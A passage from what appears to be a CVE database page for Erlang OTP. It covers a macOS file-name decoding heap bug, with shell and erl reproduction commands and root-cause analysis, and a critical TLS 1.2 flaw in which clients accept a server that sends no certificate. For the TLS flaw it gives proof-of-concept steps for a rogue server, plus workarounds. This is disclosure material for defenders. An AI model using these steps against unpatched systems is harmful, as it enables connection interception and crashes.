                  "value": "\u003col\u003e\n\u003cli\u003eOn macOS, create a directory with one file whose name starts with U+0301: \u003ccode\u003emkdir d \u0026amp;\u0026amp; printf x \u0026gt; \"d/$(printf \u0027\\314\\201b\u0027)\"\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eRun \u003ccode\u003eerl -noshell -eval \u0027io:format(\"~w~n\", [file:list_dir(\"d\")]), halt().\u0027\u003c/code\u003e. The command prints nothing and does not return. The VM does not stop on SIGTERM. The expected output is \u003ccode\u003e{ok,[[769,98]]}\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eRun \u003ccode\u003eerl -noshell -eval \u0027erlang:display(prim_file:internal_native2name(\u0026lt;\u0026lt;204,129,$b\u0026gt;\u0026gt;)), halt().\u0027\u003c/code\u003e. The output starts with \u003ccode\u003e[\u0026lt;cp/header:0x00000000000000c0\u0026gt;\u003c/code\u003e. The expected output is \u003ccode\u003e[769,98]\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eCreate a symbolic link with the same name as its target (\u003ccode\u003eln -s \"$(printf \u0027\\314\\201b\u0027)\" link\u003c/code\u003e) and call \u003ccode\u003efile:read_link(\"link\")\u003c/code\u003e. The VM aborts with \u003ccode\u003esize_object: bad tag for 0x80\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. On macOS, create a directory with one file whose name starts with U+0301: `mkdir d \u0026\u0026 printf x \u003e \"d/$(printf \u0027\\314\\201b\u0027)\"`.\n2. Run `erl -noshell -eval \u0027io:format(\"~w~n\", [file:list_dir(\"d\")]), halt().\u0027`. The command prints nothing and does not return. The VM does not stop on SIGTERM. The expected output is `{ok,[[769,98]]}`.\n3. Run `erl -noshell -eval \u0027erlang:display(prim_file:internal_native2name(\u003c\u003c204,129,$b\u003e\u003e)), halt().\u0027`. The output starts with `[\u003ccp/header:0x00000000000000c0\u003e`. The expected output is `[769,98]`.\n4. Create a symbolic link with the same name as its target (`ln -s \"$(printf \u0027\\314\\201b\u0027)\" link`) and call `file:read_link(\"link\")`. The VM aborts with `size_object: bad tag for 0x80`."
                }
              ],
              "value": "* On macOS, create a directory with one file whose name starts with U+0301: mkdir d \u0026\u0026 printf x \u003e \"d/$(printf \u0027\\314\\201b\u0027)\".\n* Run erl -noshell -eval \u0027io:format(\"~w~n\", [file:list_dir(\"d\")]), halt().\u0027. The command prints nothing and does not return. The VM does not stop on SIGTERM. The expected output is {ok,[[769,98]]}.\n* Run erl -noshell -eval \u0027erlang:display(prim_file:internal_native2name(\u003c\u003c204,129,$b\u003e\u003e)), halt().\u0027. The output starts with [\u003ccp/header:0x00000000000000c0\u003e. The expected output is [769,98].\n* Create a symbolic link with the same name as its target (ln -s \"$(printf \u0027\\314\\201b\u0027)\" link) and call file:read_link(\"link\"). The VM aborts with size_object: bad tag for 0x80."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Decoder entry\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eprim_file:list_dir/1\u003c/code\u003e and \u003ccode\u003eprim_file:read_link/1\u003c/code\u003e decode each native name with \u003ccode\u003eprim_file:internal_native2name/1\u003c/code\u003e. Its implementation, \u003ccode\u003eprim_file_internal_native2name_1\u003c/code\u003e in \u003ccode\u003eerts/emulator/beam/erl_unicode.c\u003c/code\u003e, calls \u003ccode\u003edo_utf8_to_list_normalize\u003c/code\u003e when the file name encoding is \u003ccode\u003eERL_FILENAME_UTF8_MAC\u003c/code\u003e. \u003ccode\u003eerts_init_sys_common_misc\u003c/code\u003e selects that encoding only on macOS.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Missing heap pointer write-back\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003edo_utf8_to_list_normalize\u003c/code\u003e reserves \u003ccode\u003e2 * num\u003c/code\u003e heap words with \u003ccode\u003eHAlloc\u003c/code\u003e, reads the name from its end, and keeps code points that can compose (U+0300 and above) in \u003ccode\u003esavepoints\u003c/code\u003e. If saved points remain when it reaches the start of the name, it calls \u003ccode\u003ecleanup_norm(\u0026amp;hp, savepoints, numpoints, \u0026amp;ret)\u003c/code\u003e and then \u003ccode\u003eHRelease(p, hp_end, hp)\u003c/code\u003e. \u003ccode\u003ecleanup_norm\u003c/code\u003e copies \u003ccode\u003e*hpp\u003c/code\u003e to a local \u003ccode\u003ehp\u003c/code\u003e, builds one cons cell per saved point, and writes back only \u003ccode\u003e*retp\u003c/code\u003e. The caller\u0027s \u003ccode\u003ehp\u003c/code\u003e still points below the new cells, so \u003ccode\u003eHRelease\u003c/code\u003e returns them to the process heap. \u003ccode\u003ehandle_potential_norm\u003c/code\u003e has the same structure and does write \u003ccode\u003e*hpp = hp\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Effect\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe returned list starts in released heap memory. The next allocation of the process overwrites the cells. \u003ccode\u003eerlang:display/1\u003c/code\u003e shows a header word in place of the first code point. When the term is copied, for example in the reply of the file server, \u003ccode\u003esize_object_x\u003c/code\u003e either loops without end on a cyclic term or aborts the VM with \u003ccode\u003esize_object: bad tag\u003c/code\u003e.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Decoder entry**\n\n`prim_file:list_dir/1` and `prim_file:read_link/1` decode each native name with `prim_file:internal_native2name/1`. Its implementation, `prim_file_internal_native2name_1` in `erts/emulator/beam/erl_unicode.c`, calls `do_utf8_to_list_normalize` when the file name encoding is `ERL_FILENAME_UTF8_MAC`. `erts_init_sys_common_misc` selects that encoding only on macOS.\n\n**2. Missing heap pointer write-back**\n\n`do_utf8_to_list_normalize` reserves `2 * num` heap words with `HAlloc`, reads the name from its end, and keeps code points that can compose (U+0300 and above) in `savepoints`. If saved points remain when it reaches the start of the name, it calls `cleanup_norm(\u0026hp, savepoints, numpoints, \u0026ret)` and then `HRelease(p, hp_end, hp)`. `cleanup_norm` copies `*hpp` to a local `hp`, builds one cons cell per saved point, and writes back only `*retp`. The caller\u0027s `hp` still points below the new cells, so `HRelease` returns them to the process heap. `handle_potential_norm` has the same structure and does write `*hpp = hp`.\n\n**3. Effect**\n\nThe returned list starts in released heap memory. The next allocation of the process overwrites the cells. `erlang:display/1` shows a header word in place of the first code point. When the term is copied, for example in the reply of the file server, `size_object_x` either loops without end on a cyclic term or aborts the VM with `size_object: bad tag`."
                }
              ],
              "value": "1. Decoder entry\n\nprim_file:list_dir/1 and prim_file:read_link/1 decode each native name with prim_file:internal_native2name/1. Its implementation, prim_file_internal_native2name_1 in erts/emulator/beam/erl_unicode.c, calls do_utf8_to_list_normalize when the file name encoding is ERL_FILENAME_UTF8_MAC. erts_init_sys_common_misc selects that encoding only on macOS.\n\n2. Missing heap pointer write-back\n\ndo_utf8_to_list_normalize reserves 2 * num heap words with HAlloc, reads the name from its end, and keeps code points that can compose (U+0300 and above) in savepoints. If saved points remain when it reaches the start of the name, it calls cleanup_norm(\u0026hp, savepoints, numpoints, \u0026ret) and then HRelease(p, hp_end, hp). cleanup_norm copies *hpp to a local hp, builds one cons cell per saved point, and writes back only *retp. The caller\u0027s hp still points below the new cells, so HRelease returns them to the process heap. handle_potential_norm has the same structure and does write *hpp = hp.\n\n3. Effect\n\nThe returned list starts in released heap memory. The next allocation of the process overwrites the cells. erlang:display/1 shows a header word in place of the first code point. When the term is copied, for example in the reply of the file server, size_object_x either loops without end on a cyclic term or aborts the VM with size_object: bad tag."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-125658",
        "datePublished": "2026-11-24T15:28:21.735Z",
        "dateReserved": "2026-11-12T20:11:47.627Z",
        "dateUpdated": "2026-11-24T16:28:56.749Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-124286 (GCVE-0-2026-124286)

    Vulnerability from cvelistv5 – Published: 2026-11-24 15:12 – Updated: 2026-11-24 15:12
    VLAI
    Title
    TLS 1.2 Client Completes Handshake Without a Server Certificate
    Summary
    Improper Verification of Cryptographic Signature vulnerability in Erlang OTP ssl (ssl_handshake module) allows an on-path attacker to impersonate any server to a TLS 1.2 or DTLS client. When a server sends no Certificate message and a ServerKeyExchange without a signature, ssl_handshake:decode_server_key/3 reports the signature algorithm as anon, and ssl_handshake:verify_signature/5 returns true for anon without a public key. The client does not require a certificate for a certificate-authenticated key exchange, so the handshake completes for the ecdhe_rsa, ecdhe_ecdsa, dhe_rsa and dhe_dss key exchanges with a cipher suite the client offered. Certificate path validation, verify_fun and the hostname check do not run, and ssl:connect/3 returns {ok, Socket} with {verify, verify_peer} set. The TLS 1.3 client is not affected. This issue affects OTP from OTP 17.0 before OTP 27.3.4.14, OTP 28.5.0.9, and OTP 29.0.3, corresponding to ssl from 5.3.4 before 11.2.12.10, 11.6.0.8, and 11.7.3.
    CWE
    • CWE-347 - Improper Verification of Cryptographic Signature
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Erlang OTP Affected: 5.3.4 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 17.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 938a5246a52d30897b4f47439352da4425ea6fc5 , < * (git)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 15:12
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "ssl_handshake",
                "ssl"
              ],
              "packageName": "ssl",
              "packageURL": "pkg:otp/ssl?repository_url=https:%2F%2Fgithub.com%2Ferlang%2Fotp\u0026vcs_url=git%2Bhttps:%2F%2Fgithub.com%2Ferlang%2Fotp.git",
              "product": "OTP",
              "programFiles": [
                "src/ssl_handshake.erl",
                "src/ssl.erl"
              ],
              "programRoutines": [
                {
                  "name": "ssl_handshake:verify_signature/5"
                },
                {
                  "name": "ssl_handshake:verify_server_key/5"
                },
                {
                  "name": "ssl_handshake:decode_server_key/3"
                },
                {
                  "name": "ssl:connect/2"
                },
                {
                  "name": "ssl:connect/3"
                },
                {
                  "name": "ssl:connect/4"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "11.2.12.10",
                      "status": "unaffected"
                    },
                    {
                      "at": "11.6.0.8",
                      "status": "unaffected"
                    },
                    {
                      "at": "11.7.3",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "5.3.4",
                  "versionType": "otp"
                }
              ]
            },
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "ssl_handshake",
                "ssl"
              ],
              "packageName": "otp",
              "packageURL": "pkg:software-id/erlang.org/otp",
              "product": "OTP",
              "programFiles": [
                "lib/ssl/src/ssl_handshake.erl",
                "lib/ssl/src/ssl.erl"
              ],
              "programRoutines": [
                {
                  "name": "ssl_handshake:verify_signature/5"
                },
                {
                  "name": "ssl_handshake:verify_server_key/5"
                },
                {
                  "name": "ssl_handshake:decode_server_key/3"
                },
                {
                  "name": "ssl:connect/2"
                },
                {
                  "name": "ssl:connect/3"
                },
                {
                  "name": "ssl:connect/4"
                }
              ],
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "27.3.4.14",
                      "status": "unaffected"
                    },
                    {
                      "at": "28.5.0.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "29.0.3",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "17.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "ssl_handshake",
                "ssl"
              ],
              "packageName": "erlang/otp",
              "packageURL": "pkg:github/erlang/otp",
              "product": "OTP",
              "programFiles": [
                "lib/ssl/src/ssl_handshake.erl",
                "lib/ssl/src/ssl.erl"
              ],
              "programRoutines": [
                {
                  "name": "ssl_handshake:verify_signature/5"
                },
                {
                  "name": "ssl_handshake:verify_server_key/5"
                },
                {
                  "name": "ssl_handshake:decode_server_key/3"
                },
                {
                  "name": "ssl:connect/2"
                },
                {
                  "name": "ssl:connect/3"
                },
                {
                  "name": "ssl:connect/4"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "74782afedd9090bad0ab1dede237a2389e94743f",
                      "status": "unaffected"
                    },
                    {
                      "at": "d9a931963d3d49c7f73ea509221c9c66737977c7",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "938a5246a52d30897b4f47439352da4425ea6fc5",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eThe vulnerability affects clients whose connection can use TLS 1.2 or DTLS 1.2. The default \u003ccode\u003essl:connect\u003c/code\u003e options allow TLS 1.2. Clients restricted to TLS 1.3 are not affected. Cipher suites that do not use a \u003ccode\u003eServerKeyExchange\u003c/code\u003e message (the \u003ccode\u003ersa\u003c/code\u003e, \u003ccode\u003eecdh_rsa\u003c/code\u003e and \u003ccode\u003eecdh_ecdsa\u003c/code\u003e key exchanges) are not affected. Servers are not affected. Exploitation requires an on-path (adversary-in-the-middle) attacker between the client and the intended server.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "The vulnerability affects clients whose connection can use TLS 1.2 or DTLS 1.2. The default `ssl:connect` options allow TLS 1.2. Clients restricted to TLS 1.3 are not affected. Cipher suites that do not use a `ServerKeyExchange` message (the `rsa`, `ecdh_rsa` and `ecdh_ecdsa` key exchanges) are not affected. Servers are not affected. Exploitation requires an on-path (adversary-in-the-middle) attacker between the client and the intended server."
                }
              ],
              "value": "The vulnerability affects clients whose connection can use TLS 1.2 or DTLS 1.2. The default ssl:connect options allow TLS 1.2. Clients restricted to TLS 1.3 are not affected. Cipher suites that do not use a ServerKeyExchange message (the rsa, ecdh_rsa and ecdh_ecdsa key exchanges) are not affected. Servers are not affected. Exploitation requires an on-path (adversary-in-the-middle) attacker between the client and the intended server."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "27.3.4.14",
                      "versionStartIncluding": "17.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "28.5.0.9",
                      "versionStartIncluding": "28.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "29.0.3",
                      "versionStartIncluding": "29.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Phillip Calvin"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Phillip Calvin"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Ingela Anderton Andin"
            }
          ],
          "dateAssigned": "2026-11-16T02:00:55.000Z",
          "datePublic": "2026-11-24T15:12:01.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eImproper Verification of Cryptographic Signature vulnerability in Erlang OTP \u003ccode\u003essl\u003c/code\u003e (\u003ccode\u003essl_handshake\u003c/code\u003e module) allows an on-path attacker to impersonate any server to a TLS 1.2 or DTLS client.\u003c/p\u003e\n\u003cp\u003eWhen a server sends no \u003ccode\u003eCertificate\u003c/code\u003e message and a \u003ccode\u003eServerKeyExchange\u003c/code\u003e without a signature, \u003ccode\u003essl_handshake:decode_server_key/3\u003c/code\u003e reports the signature algorithm as \u003ccode\u003eanon\u003c/code\u003e, and \u003ccode\u003essl_handshake:verify_signature/5\u003c/code\u003e returns \u003ccode\u003etrue\u003c/code\u003e for \u003ccode\u003eanon\u003c/code\u003e without a public key. The client does not require a certificate for a certificate-authenticated key exchange, so the handshake completes for the \u003ccode\u003eecdhe_rsa\u003c/code\u003e, \u003ccode\u003eecdhe_ecdsa\u003c/code\u003e, \u003ccode\u003edhe_rsa\u003c/code\u003e and \u003ccode\u003edhe_dss\u003c/code\u003e key exchanges with a cipher suite the client offered. Certificate path validation, \u003ccode\u003everify_fun\u003c/code\u003e and the hostname check do not run, and \u003ccode\u003essl:connect/3\u003c/code\u003e returns \u003ccode\u003e{ok, Socket}\u003c/code\u003e with \u003ccode\u003e{verify, verify_peer}\u003c/code\u003e set. The TLS 1.3 client is not affected.\u003c/p\u003e\n\u003cp\u003eThis issue affects OTP from OTP\u0026nbsp;17.0 before OTP\u0026nbsp;27.3.4.14, OTP\u0026nbsp;28.5.0.9, and OTP\u0026nbsp;29.0.3, corresponding to ssl from 5.3.4 before 11.2.12.10, 11.6.0.8, and 11.7.3.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Improper Verification of Cryptographic Signature vulnerability in Erlang OTP `ssl` (`ssl_handshake` module) allows an on-path attacker to impersonate any server to a TLS 1.2 or DTLS client.\n\nWhen a server sends no `Certificate` message and a `ServerKeyExchange` without a signature, `ssl_handshake:decode_server_key/3` reports the signature algorithm as `anon`, and `ssl_handshake:verify_signature/5` returns `true` for `anon` without a public key. The client does not require a certificate for a certificate-authenticated key exchange, so the handshake completes for the `ecdhe_rsa`, `ecdhe_ecdsa`, `dhe_rsa` and `dhe_dss` key exchanges with a cipher suite the client offered. Certificate path validation, `verify_fun` and the hostname check do not run, and `ssl:connect/3` returns `{ok, Socket}` with `{verify, verify_peer}` set. The TLS 1.3 client is not affected.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.14, OTP\u00a028.5.0.9, and OTP\u00a029.0.3, corresponding to ssl from 5.3.4 before 11.2.12.10, 11.6.0.8, and 11.7.3."
                }
              ],
              "value": "Improper Verification of Cryptographic Signature vulnerability in Erlang OTP ssl (ssl_handshake module) allows an on-path attacker to impersonate any server to a TLS 1.2 or DTLS client.\n\nWhen a server sends no Certificate message and a ServerKeyExchange without a signature, ssl_handshake:decode_server_key/3 reports the signature algorithm as anon, and ssl_handshake:verify_signature/5 returns true for anon without a public key. The client does not require a certificate for a certificate-authenticated key exchange, so the handshake completes for the ecdhe_rsa, ecdhe_ecdsa, dhe_rsa and dhe_dss key exchanges with a cipher suite the client offered. Certificate path validation, verify_fun and the hostname check do not run, and ssl:connect/3 returns {ok, Socket} with {verify, verify_peer} set. The TLS 1.3 client is not affected.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.14, OTP\u00a028.5.0.9, and OTP\u00a029.0.3, corresponding to ssl from 5.3.4 before 11.2.12.10, 11.6.0.8, and 11.7.3."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-475",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn on-path attacker can impersonate any server to an affected client, then read and modify all application data on the connection. Certificate path validation, \u003ccode\u003everify_fun\u003c/code\u003e and the hostname check do not run.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An on-path attacker can impersonate any server to an affected client, then read and modify all application data on the connection. Certificate path validation, `verify_fun` and the hostname check do not run."
                    }
                  ],
                  "value": "An on-path attacker can impersonate any server to an affected client, then read and modify all application data on the connection. Certificate path validation, verify_fun and the hostname check do not run."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "baseScore": 9.1,
                "baseSeverity": "CRITICAL",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-347",
                  "description": "CWE-347 Improper Verification of Cryptographic Signature",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T15:12:02.452Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "TLS 1.2 Client Completes Handshake Without a Server Certificate",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/erlang/otp/security/advisories/GHSA-7mff-v332-665j"
            },
            {
              "name": "EEF CNA record for CVE-2026-124286",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-124286.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-124286",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-124286"
            },
            {
              "name": "Erlang/OTP version ordering",
              "tags": [
                "x_version-scheme"
              ],
              "url": "https://www.erlang.org/doc/system/versions.html#order-of-versions"
            },
            {
              "name": "Introducing commit 938a524 in erlang/otp",
              "tags": [
                "related"
              ],
              "url": "https://github.com/erlang/otp/commit/938a5246a52d30897b4f47439352da4425ea6fc5"
            },
            {
              "name": "Fix commit 74782af in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/74782afedd9090bad0ab1dede237a2389e94743f"
            },
            {
              "name": "Fix commit d9a9319 in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/d9a931963d3d49c7f73ea509221c9c66737977c7"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "TLS 1.2 Client Completes Handshake Without a Server Certificate",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eRestrict TLS client connections to TLS 1.3 by setting \u003ccode\u003eversions\u003c/code\u003e to \u003ccode\u003e[\u0027tlsv1.3\u0027]\u003c/code\u003e in the client\u0027s \u003ccode\u003essl\u003c/code\u003e options.\u003c/p\u003e\n\u003cp\u003eIf a client must use TLS 1.2, offer only the static RSA key exchange cipher suites. These suites have no \u003ccode\u003eServerKeyExchange\u003c/code\u003e message. They provide no forward secrecy, and many servers do not accept them.\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-erlang\"\u003eRsaOnly = ssl:filter_cipher_suites(\n    ssl:cipher_suites(all, \u0027tlsv1.2\u0027),\n    [{key_exchange, fun(rsa) -\u0026gt; true; (_) -\u0026gt; false end}]\n),\nOpts = [\n    {verify, verify_peer},\n    {cacerts, public_key:cacerts_get()},\n    {versions, [\u0027tlsv1.2\u0027]},\n    {ciphers, RsaOnly},\n    {server_name_indication, \"www.example.com\"},\n    {customize_hostname_check, [\n        {match_fun, public_key:pkix_verify_hostname_match_fun(https)}\n    ]}\n].\n\u003c/code\u003e\u003c/pre\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Restrict TLS client connections to TLS 1.3 by setting `versions` to `[\u0027tlsv1.3\u0027]` in the client\u0027s `ssl` options.\n\nIf a client must use TLS 1.2, offer only the static RSA key exchange cipher suites. These suites have no `ServerKeyExchange` message. They provide no forward secrecy, and many servers do not accept them.\n\n```erlang\nRsaOnly = ssl:filter_cipher_suites(\n    ssl:cipher_suites(all, \u0027tlsv1.2\u0027),\n    [{key_exchange, fun(rsa) -\u003e true; (_) -\u003e false end}]\n),\nOpts = [\n    {verify, verify_peer},\n    {cacerts, public_key:cacerts_get()},\n    {versions, [\u0027tlsv1.2\u0027]},\n    {ciphers, RsaOnly},\n    {server_name_indication, \"www.example.com\"},\n    {customize_hostname_check, [\n        {match_fun, public_key:pkix_verify_hostname_match_fun(https)}\n    ]}\n].\n```"
                }
              ],
              "value": "Restrict TLS client connections to TLS 1.3 by setting versions to [\u0027tlsv1.3\u0027] in the client\u0027s ssl options.\n\nIf a client must use TLS 1.2, offer only the static RSA key exchange cipher suites. These suites have no ServerKeyExchange message. They provide no forward secrecy, and many servers do not accept them.\n\nRsaOnly = ssl:filter_cipher_suites(\n    ssl:cipher_suites(all, \u0027tlsv1.2\u0027),\n    [{key_exchange, fun(rsa) -\u003e true; (_) -\u003e false end}]\n),\nOpts = [\n    {verify, verify_peer},\n    {cacerts, public_key:cacerts_get()},\n    {versions, [\u0027tlsv1.2\u0027]},\n    {ciphers, RsaOnly},\n    {server_name_indication, \"www.example.com\"},\n    {customize_hostname_check, [\n        {match_fun, public_key:pkix_verify_hostname_match_fun(https)}\n    ]}\n]."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eStart a TCP server that answers a TLS 1.2 \u003ccode\u003eClientHello\u003c/code\u003e with a \u003ccode\u003eServerHello\u003c/code\u003e that selects an offered \u003ccode\u003eECDHE_RSA\u003c/code\u003e suite (for example \u003ccode\u003eTLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\u003c/code\u003e), then a \u003ccode\u003eServerKeyExchange\u003c/code\u003e with x25519 parameters and no signature, then \u003ccode\u003eServerHelloDone\u003c/code\u003e. Send no \u003ccode\u003eCertificate\u003c/code\u003e message. The \u003ccode\u003eUnauthenticatedECDH\u003c/code\u003e test of the BoringSSL test runner (BoGo) provides such a server.\u003c/li\u003e\n\u003cli\u003eConnect with \u003ccode\u003essl:connect/3\u003c/code\u003e and the options \u003ccode\u003e{verify, verify_peer}\u003c/code\u003e, \u003ccode\u003e{cacerts, public_key:cacerts_get()}\u003c/code\u003e, \u003ccode\u003e{server_name_indication, \"www.example.com\"}\u003c/code\u003e and \u003ccode\u003e{customize_hostname_check, [{match_fun, public_key:pkix_verify_hostname_match_fun(https)}]}\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eOn the server, derive the session keys from its own ECDH key pair and the client\u0027s \u003ccode\u003eClientKeyExchange\u003c/code\u003e, then send \u003ccode\u003eChangeCipherSpec\u003c/code\u003e and \u003ccode\u003eFinished\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003essl:connect/3\u003c/code\u003e returns \u003ccode\u003e{ok, Socket}\u003c/code\u003e, and the server decrypts the application data that the client sends. A fixed client aborts with a fatal alert after step 1.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Start a TCP server that answers a TLS 1.2 `ClientHello` with a `ServerHello` that selects an offered `ECDHE_RSA` suite (for example `TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256`), then a `ServerKeyExchange` with x25519 parameters and no signature, then `ServerHelloDone`. Send no `Certificate` message. The `UnauthenticatedECDH` test of the BoringSSL test runner (BoGo) provides such a server.\n2. Connect with `ssl:connect/3` and the options `{verify, verify_peer}`, `{cacerts, public_key:cacerts_get()}`, `{server_name_indication, \"www.example.com\"}` and `{customize_hostname_check, [{match_fun, public_key:pkix_verify_hostname_match_fun(https)}]}`.\n3. On the server, derive the session keys from its own ECDH key pair and the client\u0027s `ClientKeyExchange`, then send `ChangeCipherSpec` and `Finished`.\n4. `ssl:connect/3` returns `{ok, Socket}`, and the server decrypts the application data that the client sends. A fixed client aborts with a fatal alert after step 1."
                }
              ],
